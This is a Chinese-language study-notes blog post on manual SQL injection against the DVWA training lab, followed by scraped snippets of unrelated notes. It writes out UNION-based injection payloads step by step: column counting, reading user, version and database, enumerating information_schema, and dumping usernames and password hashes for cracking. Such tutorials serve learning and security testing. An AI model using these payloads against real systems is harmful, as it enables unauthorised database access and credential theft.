Kali學習筆記39 SQL手工注入(1)

2022-01-14 07:22:51 字數 3264 閱讀 9889

終於到了sql注入

最大的、最經典的、最常見的web漏洞就是sql注入漏洞

開啟dvwa,sql注入測試模組

測試單引號,發現出錯,於是想到測試語句:

1' or '1'='1

成功:

測試是否存在漏洞:

1' and '1'='1  如果返回資料,但是1' and '1'='0 不返回資料,代表存在sql注入

或者簡易一些:1' and '1 返回但是1' and '0不返回資料

進一步:

猜測當前sql語句總共查詢了多少字段:

' order by 50 -- 

注意--後邊必須跟乙個空格,--作用是注釋最後乙個單引號,必須跟空格

首先猜測50過大會報錯:

unknown column '50' in 'order clause'
然後繼續猜測小於五十的數:

直到我猜測到2

當我把這裡修改成2後,提交沒有任何反應

於是得出結論:查詢了兩個字段,原始碼驗證sql語句為:

select first_name, last_name from users where user_id = '$id'

猜測成功,查詢了兩個字段

接下來我想在後邊加入select語句來執行查詢命令:

不過兩個select語句連在一起是不允許的

於是想到使用聯合查詢(union)

注意:--跟上空格

這時候可以進一步確定:firstname為第乙個字段,surname是第二個字段

既然知道了1,2對應的位置,那麼就可以使用sql函式來查詢其他資訊:

比如這裡我查詢到了資料庫當前的使用者

再使用:' union select user(),version() -- 

可以查到資料庫版本:

聯絡日常經驗:5版本的資料庫不會是mssql或者oracle

最流行的5版本資料庫就是mysql

查詢當前資料庫:database函式

使用全域性函式:

類似地:

查詢作業系統:

切分字串的功能:

' union select null,substring_index(user(),"@",1) --

這句話的意思是查出來user資訊,然後以@分隔開,取前一部分

有時候我們提交的字元會被伺服器過濾,於是可以使用sql的char函式進行ascii碼轉換

如果我們需要查很多的函式,而顯示的位置很好,可以聯合函式concat_ws

使用乙個稍複雜的sql語句:

' union select concat_ws(char(32,58,32),user(),database(),version()),null -- 

這裡的char(32,58,32)是空格冒號空格,方便顯示

mysql的資料儲存相對簡單,有乙個元資料表infotmation_schema表

於是可以利用這張表查詢資料庫的很多資訊:

查詢所有庫裡面的所有表:

' union select table_name,table_schema from information_schema.tables -- 

找到了dvwa庫裡面的很多表:

查詢每乙個庫有多少表:

' union select table_schema,count(*) from information_schema.tables group by table_schema -- 

只針對dvwa庫進行查詢:

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' -- 

查詢dvwa庫中users表都有哪些字段:

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' -- 

知道了有user和password兩列,我們就可以直接進行查詢了:

' union select user,password from dvwa.users -- 

查到了所有的使用者名稱和加密的密碼

使用concat來改一下顯示格式也行:

' union select null,concat(user,0x3a,password) from dvwa.users -- 

加密的密碼根據長度猜測為md5加密

也可以使用kali的hash-identifier來驗證:

於是考慮如何解密:把這些指定格式的使用者名稱密碼複製出來,弄到乙個文字中

破解成功:

kali 服務篇 學習筆記

ssh secure shell 的縮寫,是建立在應用層基礎上的安全協議。ssh是較為可靠的專為遠端登入會話和其他網路服務提供安全性的協議。利用用 ssh 協議可以有效防止遠端管理過程中的資訊洩露問題。scp 命令 命令 將本機檔案複製到遠端伺服器上 上傳 命令格式 scp 本地檔案路徑 usern...

Oracle學習筆記 oem手工管理

oem oracle企業管理器。圖形化 整合化 b s化的管理工具 1.建立 emca config dbcontrol db repos create 2.刪除 emca deconfig dbcontrol db repos drop 第一次執行出錯 第二次執行才能順利完成!好幾次了都這樣。3....

Kali學習筆記44 SQLMAP

sqlmap漏洞檢測技術 1.基於布林的盲注檢測 and 1 1 and 1 2等 2.基於時間的盲注檢測 and select from select sleep 20 a 3.基於錯誤的盲注檢測 比如輸入單引號報錯 4.基於聯合查詢的檢測 取決於開發者是否使用迴圈語句,如果使用,才可以查出多條資...